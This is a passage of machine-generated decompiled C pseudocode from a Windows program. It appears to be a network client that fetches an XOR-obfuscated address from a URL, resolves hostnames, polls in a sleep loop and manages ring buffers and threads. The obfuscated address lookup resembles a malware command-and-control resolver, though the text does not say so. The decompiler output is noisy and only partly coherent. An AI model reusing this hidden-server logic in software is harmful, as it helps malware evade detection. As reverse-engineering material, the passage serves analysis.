  3066. int32_t v1 = *(int32_t *)(g4 + 20); // 0x4026a0
  3067. g4 = v1;
  3068. int32_t v2 = *(int32_t *)v1; // 0x4026a3
  3069. __pseudo_call(*(int32_t *)(v2 + 4));
  3070. return (int32_t)((char)v2 != 0) | v2 & -256;
  3071. }
  3072.  
  3073. // Address range: 0x4026ae - 0x4026d9
  3074. int32_t function_4026ae(void) {
  3075. // 0x4026ae
  3076. int32_t result; // 0x4026d1
  3077. if (*(char *)(g4 + 4) == 0) {
  3078. // 0x4026b7
  3079. TerminateThread((int32_t *)*(int32_t *)(g4 + 8), 0);
  3080. TerminateThread((int32_t *)*(int32_t *)(g4 + 12), 0);
  3081. result = TerminateThread((int32_t *)*(int32_t *)(g4 + 16), 0);
  3082. *(char *)(g4 + 4) = 1;
  3083. // branch -> 0x4026d8
  3084. }
  3085. // 0x4026d8
  3086. return result;
  3087. }
  3088.  
  3089. // Address range: 0x4026da - 0x4026e3
  3090. int32_t function_4026da(int32_t result) {
  3091. // 0x4026da
  3092. *(int32_t *)(g4 + 20) = result;
  3093. return result;
  3094. }
  3095.  
  3096. // Address range: 0x4026e4 - 0x402718
  3097. int32_t function_4026e4(int32_t a1) {
  3098. int32_t v1 = g4; // bp-8
  3099. g7 = g4;
  3100. int32_t lpCriticalSection = g4 + 36; // 0x4026ec
  3101. g5 = lpCriticalSection;
  3102. EnterCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
  3103. g4 = g7 + 24;
  3104. int32_t v2;
  3105. function_403ab9(&v1, *(int32_t *)(g7 + 28), (int32_t)&v2);
  3106. LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)g5);
  3107. int32_t * v3;
  3108. return (int32_t)&v3 & -256 | 1;
  3109. }
  3110.  
  3111. // Address range: 0x402719 - 0x402755
  3112. int32_t function_402719(void) {
  3113. int32_t v1 = g7; // 0x40271a
  3114. int32_t v2 = g4; // 0x40271b
  3115. g7 = v2;
  3116. int32_t lpCriticalSection = v2 + 36; // 0x40271e
  3117. EnterCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
  3118. int32_t v3 = 0; // ebx
  3119. int32_t v4 = g7; // 0x40272a
  3120. if (*(int32_t *)(v4 + 32) != 0) {
  3121. int32_t v5 = *(int32_t *)(*(int32_t *)*(int32_t *)(v4 + 28) + 8); // 0x402738
  3122. int32_t v6;
  3123. *(int32_t *)v6 = v5;
  3124. g4 = g7 + 24;
  3125. function_403a96();
  3126. v3 = v3 & -256 | 1;
  3127. // branch -> 0x402747
  3128. }
  3129. // 0x402747
  3130. LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
  3131. g7 = v1;
  3132. int32_t * v7;
  3133. return v3 & 255 | (int32_t)&v7 & -256;
  3134. }
  3135.  
  3136. // Address range: 0x402756 - 0x402795
  3137. int32_t function_402756(void) {
  3138. int32_t v1 = g7; // 0x402756
  3139. int32_t v2 = g4; // 0x402757
  3140. g7 = v2;
  3141. int32_t v3 = g5; // 0x402759
  3142. int32_t lpCriticalSection = v2 + 36; // 0x40275a
  3143. EnterCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
  3144. int32_t v4 = g7; // 0x402764
  3145. int32_t * v5;
  3146. if (*(int32_t *)(v4 + 32) == 0) {
  3147. // 0x40278a
  3148. LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
  3149. g5 = v3;
  3150. g7 = v1;
  3151. return (int32_t)&v5 & -256 | 1;
  3152. }
  3153. int32_t v6 = *(int32_t *)(*(int32_t *)*(int32_t *)(v4 + 28) + 8); // 0x402773
  3154. __3f__3f_3_40_YAXPAX_40_Z(v6);
  3155. g4 = v4 + 24;
  3156. function_403a96();
  3157. // branch -> 0x40276e
  3158. while (*(int32_t *)(g7 + 32) != 0) {
  3159. // 0x40276e
  3160. v6 = *(int32_t *)(*(int32_t *)*(int32_t *)(g7 + 28) + 8);
  3161. __3f__3f_3_40_YAXPAX_40_Z(v6);
  3162. g4 = v4 + 24;
  3163. function_403a96();
  3164. // continue -> 0x40276e
  3165. }
  3166. // 0x402789
  3167. g3 = (int32_t)(struct _RTL_CRITICAL_SECTION *)g3;
  3168. // branch -> 0x40278a
  3169. // 0x40278a
  3170. LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)lpCriticalSection);
  3171. g5 = v3;
  3172. g7 = v1;
  3173. return (int32_t)&v5 & -256 | 1;
  3174. }
  3175.  
  3176. // Address range: 0x402796 - 0x40283b
  3177. int32_t function_402796(int32_t a1, char * a2) {
  3178. char * v1 = a2;
  3179. int32_t v2 = (int32_t)a2; // esi
  3180. int32_t v3 = 0; // edi
  3181. int32_t result; // 0x402839
  3182. if (a2 != NULL) {
  3183. int32_t * v4 = InternetOpenA("GetIP", 0, NULL, NULL, 0); // 0x4027ba
  3184. int32_t v5 = 0;
  3185. if ((int32_t)v4 != v3) {
  3186. int32_t * v6 = InternetOpenUrlA(v4, (char *)a1, (char *)v3, v3, -0x7c000000, v3); // 0x4027d3
  3187. int32_t v7 = (int32_t)v6; // 0x4027d3
  3188. int32_t v8;
  3189. if (v7 == v3) {
  3190. // 0x40281a
  3191. GetLastError();
  3192. v8 = 0;
  3193. // branch -> 0x402820
  3194. } else {
  3195. // 0x4027df
  3196. v1 = (char *)v3;
  3197. bool v9 = InternetReadFile(v6, (int32_t *)v2, 12, (int32_t *)&v1); // 0x4027ea
  3198. if (v9) {
  3199. // 0x4027f4
  3200. if (v1 == (char *)12) {
  3201. int16_t * v10 = (int16_t *)(v2 + 4); // 0x4027fa
  3202. *v10 = *v10 ^ 0x4580;
  3203. int32_t * v11 = (int32_t *)v2; // 0x402805
  3204. *v11 = *v11 ^ 0x59274580;
  3205. int32_t * v12 = (int32_t *)(v2 + 8); // 0x402807
  3206. *v12 = 0x59274580 ^ *v12;
  3207. v8 = *(int32_t *)(v2 + 8) == -1;
  3208. // branch -> 0x402820
  3209. } else {
  3210. v8 = 0;
  3211. }
  3212. } else {
  3213. v8 = 0;
  3214. }
  3215. }
  3216. // 0x402820
  3217. InternetCloseHandle(v4);
  3218. if (v7 != v3) {
  3219. // 0x40282f
  3220. InternetCloseHandle((int32_t *)v7);
  3221. v5 = v8;
  3222. // branch -> 0x402832
  3223. } else {
  3224. v5 = v8;
  3225. }
  3226. }
  3227. // 0x402832
  3228. result = v5;
  3229. // branch -> 0x402836
  3230. } else {
  3231. // 0x4027a6
  3232. result = 0;
  3233. // branch -> 0x402836
  3234. }
  3235. // 0x402836
  3236. return result;
  3237. }
  3238.  
  3239. // Address range: 0x40283c - 0x4028f9
  3240. int32_t function_40283c(int32_t a1, int32_t a2) {
  3241. // 0x40283c
  3242. function_404b60();
  3243. int32_t CodePage = 0; // ebx
  3244. int16_t * lpWideCharStr = NULL; // bp-44
  3245. char * lpMultiByteStr = (char *)*(int32_t *)(g2 + 12); // bp-52
  3246. *(int32_t *)(g2 - 20) = 0;
  3247. int32_t cchWideChar = MultiByteToWideChar(CodePage, CodePage, lpMultiByteStr, -1, lpWideCharStr, 0); // 0x402860
  3248. int32_t v1 = __3f__3f_2_40_YAPAXI_40_Z(2 * cchWideChar); // 0x402868
  3249. *(int32_t *)(g2 - 16) = v1;
  3250. int16_t * lpWideCharStr2 = (int16_t *)v1; // 0x402872
  3251. lpWideCharStr = lpWideCharStr2;
  3252. char * lpMultiByteStr2 = (char *)*(int32_t *)(g2 + 12); // 0x402875
  3253. MultiByteToWideChar(CodePage, CodePage, lpMultiByteStr2, -1, lpWideCharStr2, cchWideChar);
  3254. *(char *)(g2 - 36) = *(char *)(g2 + 15);
  3255. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(CodePage);
  3256. int16_t * wstr = (int16_t *)*(int32_t *)(g2 - 16); // 0x40288c
  3257. lpWideCharStr = wstr;
  3258. int32_t v2 = wcslen(wstr); // 0x40288f
  3259. *(int32_t *)&lpWideCharStr = v2;
  3260. int32_t v3 = *(int32_t *)(g2 - 16); // 0x40289a
  3261. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_PBGI_40_Z(v3, v2);
  3262. int32_t v4 = 1; // esi
  3263. *(int32_t *)(g2 - 4) = 1;
  3264. __3f__3f_3_40_YAXPAX_40_Z((int32_t)(char *)*(int32_t *)(g2 - 16));
  3265. *(char *)*(int32_t *)(g2 + 8) = *(char *)(g2 - 36);
  3266. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)(char *)CodePage);
  3267. int32_t v5 = g2 - 36; // 0x4028cc
  3268. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, CodePage, 0x7164);
  3269. *(int32_t *)(g2 - 20) = v4;
  3270. *(char *)(g2 - 4) = (char)CodePage;
  3271. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v4);
  3272. g5 = v4;
  3273. g7 = v5;
  3274. g3 = CodePage;
  3275. abort();
  3276. // UNREACHABLE
  3277. }
  3278.  
  3279. // Address range: 0x4028fa - 0x402ad5
  3280. int32_t function_4028fa(int32_t a1, int32_t a2) {
  3281. int32_t v1 = function_404b60(); // 0x4028ff
  3282. int32_t v2 = g2; // 0x402907
  3283. unsigned char v3 = *(char *)(v2 + 11); // 0x402907
  3284. *(int32_t *)(v2 - 24) = g4;
  3285. g3 = 0;
  3286. *(char *)(g2 - 52) = (char)((int32_t)v3 | v1 & -256);
  3287. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  3288. int32_t v4 = g2; // 0x402920
  3289. int32_t v5 = g3; // 0x402923
  3290. *(int32_t *)(v4 - 4) = v5;
  3291. memset((int32_t *)(v4 - 36), v5, 12);
  3292. int32_t v6 = g2; // 0x40292d
  3293. int32_t v7 = *(int32_t *)(v6 + 8); // 0x402937
  3294. int32_t v8 = function_402796(v7, (char *)(v6 - 36)); // 0x40293a
  3295. if (v8 == g3 || v8 == GetLastError()) {
  3296. // 0x402ab5
  3297. *(int32_t *)(g2 - 4) = -1;
  3298. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  3299. g7 = 1;
  3300. g3 = v7;
  3301. abort();
  3302. // UNREACHABLE
  3303. }
  3304. // 0x402957
  3305. memcpy((int32_t *)(g2 - 20), (int32_t *)(g2 - 36), 4);
  3306. memset((int32_t *)(g2 - 16), g3, 4);
  3307. _itoa((int32_t)*(char *)(g2 - 17), (char *)(g2 - 16), 10);
  3308. int32_t len = strlen((char *)(g2 - 16)); // 0x40298a
  3309. int32_t v9 = g2 - 16; // 0x402996
  3310. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v9, len);
  3311. int32_t str = (int32_t)&g26; // esi
  3312. int32_t len2 = strlen(g26); // 0x4029a6
  3313. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)&g26, len2);
  3314. memset((int32_t *)(g2 - 16), g3, 4);
  3315. _itoa((int32_t)*(char *)(g2 - 18), (char *)(g2 - 16), 10);
  3316. int32_t len3 = strlen((char *)(g2 - 16)); // 0x4029d4
  3317. int32_t v10 = g2 - 16; // 0x4029e0
  3318. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v10, len3);
  3319. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(str, strlen((char *)str));
  3320. memset((int32_t *)(g2 - 16), g3, 4);
  3321. _itoa((int32_t)*(char *)(g2 - 19), (char *)(g2 - 16), 10);
  3322. int32_t len4 = strlen((char *)(g2 - 16)); // 0x402a19
  3323. int32_t v11 = g2 - 16; // 0x402a22
  3324. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v11, len4);
  3325. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(str, strlen((char *)str));
  3326. memset((int32_t *)(g2 - 16), g3, 4);
  3327. _itoa((int32_t)*(char *)(g2 - 20), (char *)(g2 - 16), 10);
  3328. int32_t len5 = strlen((char *)(g2 - 16)); // 0x402a5e
  3329. int32_t v12 = g2 - 16; // 0x402a6a
  3330. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v12, len5);
  3331. int32_t v13 = *(int32_t *)(g2 - 48); // 0x402a74
  3332. int32_t v14; // 0x402a84
  3333. if (v13 == g3) {
  3334. // 0x402a7c
  3335. v14 = *(int32_t *)0x4060a8;
  3336. // branch -> 0x402a81
  3337. } else {
  3338. v14 = v13;
  3339. }
  3340. int32_t v15 = function_40283c(g2 - 68, v14); // 0x402a89
  3341. *(char *)(g2 - 4) = 1;
  3342. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v15, g3, 0x7164);
  3343. *(char *)(g2 - 4) = (char)g3;
  3344. int32_t v16 = (int32_t)(char *)1; // 0x402aaa
  3345. g3 = v16;
  3346. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v16);
  3347. // branch -> 0x402ab5
  3348. // 0x402ab5
  3349. *(int32_t *)(g2 - 4) = -1;
  3350. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  3351. g7 = 1;
  3352. g3 = v7;
  3353. abort();
  3354. // UNREACHABLE
  3355. }
  3356.  
  3357. // Address range: 0x402ad6 - 0x402b57
  3358. int32_t function_402ad6(int32_t a1, int32_t a2) {
  3359. struct in_addr in; // 0x402afa
  3360. // 0x402ad6
  3361. function_404b60();
  3362. struct hostent * v1 = gethostbyname((char *)*(int32_t *)(g2 + 8)); // 0x402ae9
  3363. int32_t v2;
  3364. if (v1 == NULL) {
  3365. // branch -> 0x402b49
  3366. } else {
  3367. int32_t v3 = *(int32_t *)((int32_t)v1 + 12); // 0x402af3
  3368. in = (struct in_addr){
  3369. .e0 = 0
  3370. };
  3371. in.e0 = *(int32_t *)*(int32_t *)v3;
  3372. char * str = inet_ntoa(in); // 0x402afa
  3373. strcpy((char *)(g2 - 28), str);
  3374. int32_t v4 = function_40283c(g2 - 44, g2 - 28); // 0x402b16
  3375. *(int32_t *)(g2 - 4) = 0;
  3376. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v4, 0, 0x7164);
  3377. *(int32_t *)(g2 - 4) = -1;
  3378. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  3379. v2 = 1;
  3380. // branch -> 0x402b49
  3381. }
  3382. // 0x402b49
  3383. g7 = v2;
  3384. abort();
  3385. // UNREACHABLE
  3386. }
  3387.  
  3388. // Address range: 0x402b58 - 0x402c51
  3389. int32_t function_402b58(int32_t a1) {
  3390. // 0x402b58
  3391. function_404b60();
  3392. int32_t v1 = g4; // 0x402b67
  3393. g7 = v1;
  3394. int32_t v2 = g5; // 0x402b69
  3395. g5 = 0;
  3396. int32_t v3 = v1 + 0x9ea4; // 0x402b6e
  3397. g3 = v3;
  3398. *(int32_t *)(g2 - 16) = (int32_t)(v3 != 0);
  3399. // branch -> 0x402b7c
  3400. while (true) {
  3401. int32_t v4 = g2; // 0x402b7c
  3402. int32_t v5 = g7; // 0x402b81
  3403. int32_t v6 = *(int32_t *)(v5 + 0xa1b0); // 0x402b81
  3404. int32_t v7 = g5; // 0x402b81
  3405. int32_t v8;
  3406. if (((int32_t)(v6 != v7) & *(int32_t *)(v4 - 16)) != 0) {
  3407. int32_t v9 = function_40283c(v4 - 32, g3); // 0x402bf8
  3408. *(int32_t *)(g2 - 4) = g5;
  3409. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v9, g5, 0x7164);
  3410. *(int32_t *)(g2 - 4) = -1;
  3411. int32_t v10 = _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1); // 0x402c1c
  3412. int32_t v11 = (int32_t)*(int16_t *)(g7 + 0xa1b0) | v10 & -0x10000; // 0x402c22
  3413. // branch -> 0x402c3b
  3414. // 0x402c3b
  3415. g5 = 0;
  3416. g7 = v8;
  3417. g3 = v2;
  3418. *(int16_t *)*(int32_t *)(g2 + 12) = (int16_t)v11;
  3419. abort();
  3420. // UNREACHABLE
  3421. }
  3422. int32_t v12 = v5 + 0x9fa8; // 0x402b96
  3423. int32_t v13 = v8;
  3424. int32_t v14 = v7; // 0x402bcc
  3425. int32_t v15 = v5; // 0x402bd8
  3426. int32_t v16; // 0x402bc1
  3427. if (!((v12 == v7 | *(int32_t *)(v5 + 0xa1b4) == v7))) {
  3428. int32_t v17 = *(int32_t *)(v4 + 8); // 0x402baa
  3429. g4 = v5;
  3430. int32_t v18 = v12; // bp-40
  3431. int32_t v19 = function_402ad6(v12, v17); // 0x402bb0
  3432. int32_t v20 = g7; // 0x402c2b
  3433. if (v19 != 0) {
  3434. int32_t v21 = (int32_t)*(int16_t *)(v20 + 0xa1b4) | v19 & -0x10000; // 0x402c2b
  3435. // branch -> 0x402c3b
  3436. // 0x402c3b
  3437. g5 = v18;
  3438. g7 = v17;
  3439. g3 = v2;
  3440. *(int16_t *)*(int32_t *)(g2 + 12) = (int16_t)v21;
  3441. abort();
  3442. // UNREACHABLE
  3443. }
  3444. // 0x402baa
  3445. v13 = v17;
  3446. v14 = g5;
  3447. v15 = v20;
  3448. // branch -> 0x402bb9
  3449. // 0x402bb9
  3450. v16 = v15 + 0xa0ac;
  3451. if (!((v16 == v14 | *(int32_t *)(v15 + 0xa1b8) == v14))) {
  3452. lab_0x402bd5:
  3453. // 0x402bd5
  3454. g4 = v15;
  3455. int32_t v22 = function_4028fa(v16, *(int32_t *)(g2 + 8)); // 0x402bdb
  3456. if (v22 != 0) {
  3457. int32_t v23 = (int32_t)*(int16_t *)(g7 + 0xa1b8) | v22 & -0x10000; // 0x402c34
  3458. // branch -> 0x402c3b
  3459. // 0x402c3b
  3460. g5 = v18;
  3461. g7 = v13;
  3462. g3 = v2;
  3463. *(int16_t *)*(int32_t *)(g2 + 12) = (int16_t)v23;
  3464. abort();
  3465. // UNREACHABLE
  3466. }
  3467. }
  3468. lab_0x402be4:
  3469. // 0x402be4
  3470. Sleep(1000);
  3471. v8 = v13;
  3472. // branch -> 0x402b7c
  3473. continue;
  3474. }
  3475. // 0x402bb9
  3476. v16 = v15 + 0xa0ac;
  3477. if (v16 == v14 | *(int32_t *)(v15 + 0xa1b8) == v14) {
  3478. goto lab_0x402be4;
  3479. }
  3480. goto lab_0x402bd5;
  3481. }
  3482. }
  3483.  
  3484. // Address range: 0x402c52 - 0x402c6b
  3485. int32_t function_402c52(void) {
  3486. int32_t v1 = g35; // 0x402c52
  3487. int32_t v2 = g36; // 0x402c57
  3488. int32_t result = v1 - v2; // 0x402c5d
  3489. if (v1 < v2) {
  3490. // 0x402c64
  3491. return result + 0x9d00;
  3492. }
  3493. // 0x402c61
  3494. return result;
  3495. }
  3496.  
  3497. // Address range: 0x402c6c - 0x402cee
  3498. int32_t function_402c6c(void) {
  3499. int32_t v1 = g36; // 0x402c6c
  3500. int32_t v2 = 1256; // esi
  3501. int32_t v3 = 0x9d00 - v1; // 0x402c7f
  3502. int32_t v4; // bp-16
  3503. int32_t v5;
  3504. int32_t v6; // 0x402ca8
  3505. int32_t v7; // 0x402ce2
  3506. if (v3 < 1256) {
  3507. // 0x402ca8
  3508. v6 = g3;
  3509. memcpy((int32_t *)v5, (int32_t *)(v1 + 76 + g4), v3);
  3510. int32_t v8 = g36; // 0x402cb9
  3511. memcpy((int32_t *)(v5 - v8 + 0x9d00), (int32_t *)(g4 + 76), v8 - 0x9818);
  3512. v4 = v2;
  3513. v7 = function_402d78(&g36, v2);
  3514. g3 = &g36;
  3515. // branch -> 0x402cea
  3516. } else {
  3517. // 0x402c85
  3518. memcpy((int32_t *)v5, (int32_t *)(v1 + 76 + g4), 1256);
  3519. v4 = &g36;
  3520. int32_t v9 = function_402d78(&g36, v2); // 0x402c9f
  3521. v6 = v2;
  3522. v7 = v9;
  3523. // branch -> 0x402cea
  3524. }
  3525. // 0x402cea
  3526. g5 = v4;
  3527. g7 = v6;
  3528. return v7 & -256 | 1;
  3529. }
  3530.  
  3531. // Address range: 0x402cef - 0x402d77
  3532. int32_t function_402cef(void) {
  3533. int32_t v1 = g35; // 0x402cf2
  3534. int32_t v2 = 0x9d00 - v1; // 0x402cff
  3535. int32_t v3; // bp-16
  3536. int32_t v4;
  3537. int32_t v5;
  3538. int32_t v6; // 0x402d2c
  3539. int32_t v7; // 0x402d6b
  3540. if (v2 < v5) {
  3541. // 0x402d2c
  3542. v6 = g5;
  3543. memcpy((int32_t *)(v1 + 76 + g4), (int32_t *)v4, v2);
  3544. int32_t v8 = g35; // 0x402d3c
  3545. int32_t v9 = v4 - v8 + 0x9d00; // 0x402d4d
  3546. memcpy((int32_t *)(g4 + 76), (int32_t *)v9, v5 - 0x9d00 + v8);
  3547. v3 = v5;
  3548. v7 = function_402d78(&g35, v5);
  3549. g5 = &g35;
  3550. // branch -> 0x402d73
  3551. } else {
  3552. // 0x402d06
  3553. memcpy((int32_t *)(v1 + 76 + g4), (int32_t *)v4, v5);
  3554. v3 = &g35;
  3555. int32_t v10 = function_402d78(&g35, v5); // 0x402d23
  3556. v6 = v5;
  3557. v7 = v10;
  3558. // branch -> 0x402d73
  3559. }
  3560. // 0x402d73
  3561. g7 = v3;
  3562. g2 = v6;
  3563. return v7 & -256 | 1;
  3564. }
  3565.  
  3566. // Address range: 0x402d78 - 0x402d94
  3567. int32_t function_402d78(int32_t * a1, int32_t a2) {
  3568. int32_t v1 = *a1 + a2; // 0x402d82
  3569. int32_t result = v1 - 0x9d00; // 0x402d84
  3570. if (v1 >= 0x9d00) {
  3571. // 0x402d8b
  3572. // branch -> 0x402d90
  3573. } else {
  3574. result = v1;
  3575. }
  3576. // 0x402d90
  3577. *a1 = result;
  3578. return result;
  3579. }
  3580.  
  3581. // Address range: 0x402d95 - 0x402db3
  3582. int32_t function_402d95(void) {
  3583. // 0x402d95
  3584. g35 = 0;
  3585. g36 = 0;
  3586. return (int32_t)memset((int32_t *)(g4 + 76), 0, 0x9d00);
  3587. }
  3588.  
  3589. // Address range: 0x402db4 - 0x402dde
  3590. int32_t function_402db4(void) {
  3591. int32_t v1 = g4; // bp-4
  3592. int32_t v2 = g7; // 0x402db5
  3593. g7 = g4;
  3594. int32_t v3 = *(int32_t *)(g4 + 4); // 0x402db8
  3595. function_402ddf(&v1, *(int32_t *)v3, v3, v2, g4);
  3596. int32_t result = __3f__3f_3_40_YAXPAX_40_Z(*(int32_t *)(g7 + 4)); // 0x402dce
  3597. *(int32_t *)(g7 + 4) = 0;
  3598. *(int32_t *)(g7 + 8) = 0;
  3599. g7 = &v1;
  3600. return result;
  3601. }
  3602.  
  3603. // Address range: 0x402ddf - 0x402e16
  3604. int32_t function_402ddf(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
  3605. int32_t result = (int32_t)a1;
  3606. int32_t v1 = g5; // bp-8
  3607. if (a2 == a3) {
  3608. // 0x402e0c
  3609. *a1 = a2;
  3610. return result;
  3611. }
  3612. int32_t * v2 = (int32_t *)a2; // 0x402def
  3613. *(int32_t *)*(int32_t *)(a2 + 4) = *v2;
  3614. int32_t v3 = a2; // 0x402df9
  3615. *(int32_t *)(*(int32_t *)v3 + 4) = *(int32_t *)(v3 + 4);
  3616. __3f__3f_3_40_YAXPAX_40_Z(a2);
  3617. int32_t * v4 = (int32_t *)(g4 + 8); // 0x402e06
  3618. *v4 = *v4 - 1;
  3619. int32_t v5 = *v2; // 0x402de7
  3620. // branch -> 0x402ded
  3621. while (v5 != a3) {
  3622. // 0x402ded
  3623. a2 = v5;
  3624. v2 = (int32_t *)a2;
  3625. *(int32_t *)*(int32_t *)(a2 + 4) = *v2;
  3626. v3 = a2;
  3627. *(int32_t *)(*(int32_t *)v3 + 4) = *(int32_t *)(v3 + 4);
  3628. __3f__3f_3_40_YAXPAX_40_Z(a2);
  3629. v4 = (int32_t *)(g4 + 8);
  3630. *v4 = *v4 - 1;
  3631. v5 = *v2;
  3632. // continue -> 0x402ded
  3633. }
  3634. // 0x402de7
  3635. // branch -> 0x402e0c
  3636. // 0x402e0c
  3637. g5 = v1;
  3638. *a1 = v5;
  3639. return result;
  3640. }
  3641.  
  3642. // Address range: 0x402e17 - 0x402e3a
  3643. int32_t function_402e17(int32_t a1, int32_t a2, int32_t a3) {
  3644. int32_t result = __3f__3f_2_40_YAPAXI_40_Z(12); // 0x402e19
  3645. int32_t v1 = a1; // 0x402e29
  3646. if (a1 == 0) {
  3647. // 0x402e27
  3648. v1 = result;
  3649. // branch -> 0x402e29
  3650. }
  3651. // 0x402e29
  3652. *(int32_t *)result = v1;
  3653. int32_t v2; // 0x402e35
  3654. if (a2 == 0) {
  3655. // 0x402e33
  3656. v2 = result;
  3657. // branch -> 0x402e35
  3658. } else {
  3659. v2 = a2;
  3660. }
  3661. // 0x402e35
  3662. *(int32_t *)(result + 4) = v2;
  3663. return result;
  3664. }
  3665.  
  3666. // Address range: 0x402e3b - 0x402e66
  3667. int32_t function_402e3b(void) {
  3668. int32_t v1 = 0; // bp-20
  3669. int32_t v2 = g4 + 4; // esi
  3670. int32_t v3 = function_402e17(v1, 0, g5); // 0x402e4f
  3671. *(int32_t *)(v2 + 8) = 0;
  3672. *(int32_t *)(v2 + 4) = v3;
  3673. *(int32_t *)g4 = (int32_t)&g11;
  3674. g5 = v1;
  3675. g7 = 0;
  3676. return g4;
  3677. }
  3678.  
  3679. // Address range: 0x402e67 - 0x402e82
  3680. int32_t function_402e67(char a1) {
  3681. int32_t v1 = g7; // 0x402e67
  3682. g7 = g4;
  3683. function_402e83(v1);
  3684. if ((a1 & 1) != 0) {
  3685. // 0x402e76
  3686. __3f__3f_3_40_YAXPAX_40_Z(g7);
  3687. // branch -> 0x402e7d
  3688. }
  3689. // 0x402e7d
  3690. return g7;
  3691. }
  3692.  
  3693. // Address range: 0x402e83 - 0x402edc
  3694. int32_t function_402e83(int32_t a1) {
  3695. // 0x402e83
  3696. function_404b60();
  3697. int32_t v1 = g4; // 0x402e8d
  3698. int32_t v2 = g7; // 0x402e8e
  3699. g7 = v1;
  3700. *(int32_t *)(g2 - 16) = v1;
  3701. *(int32_t *)g7 = (int32_t)&g11;
  3702. *(int32_t *)(g2 - 4) = 0;
  3703. int32_t v3 = g7; // 0x402e9e
  3704. if (*(int32_t *)(v3 + 12) == 0) {
  3705. // 0x402ec4
  3706. *(int32_t *)(g2 - 4) = -1;
  3707. g4 = g7 + 4;
  3708. function_402db4();
  3709. g7 = v2;
  3710. abort();
  3711. // UNREACHABLE
  3712. }
  3713. int32_t v4 = *(int32_t *)(*(int32_t *)*(int32_t *)(v3 + 8) + 8); // 0x402ead
  3714. __3f__3f_3_40_YAXPAX_40_Z(v4);
  3715. g4 = v3 + 4;
  3716. function_403a96();
  3717. // branch -> 0x402ea8
  3718. while (*(int32_t *)(g7 + 12) != 0) {
  3719. // 0x402ea8
  3720. __3f__3f_3_40_YAXPAX_40_Z(*(int32_t *)(*(int32_t *)*(int32_t *)(g7 + 8) + 8));
  3721. g4 = v3 + 4;
  3722. function_403a96();
  3723. // continue -> 0x402ea8
  3724. }
  3725. // 0x402ec3
  3726. // branch -> 0x402ec4
  3727. // 0x402ec4
  3728. *(int32_t *)(g2 - 4) = -1;
  3729. g4 = g7 + 4;
  3730. function_402db4();
  3731. g7 = v2;
  3732. abort();
  3733. // UNREACHABLE
  3734. }
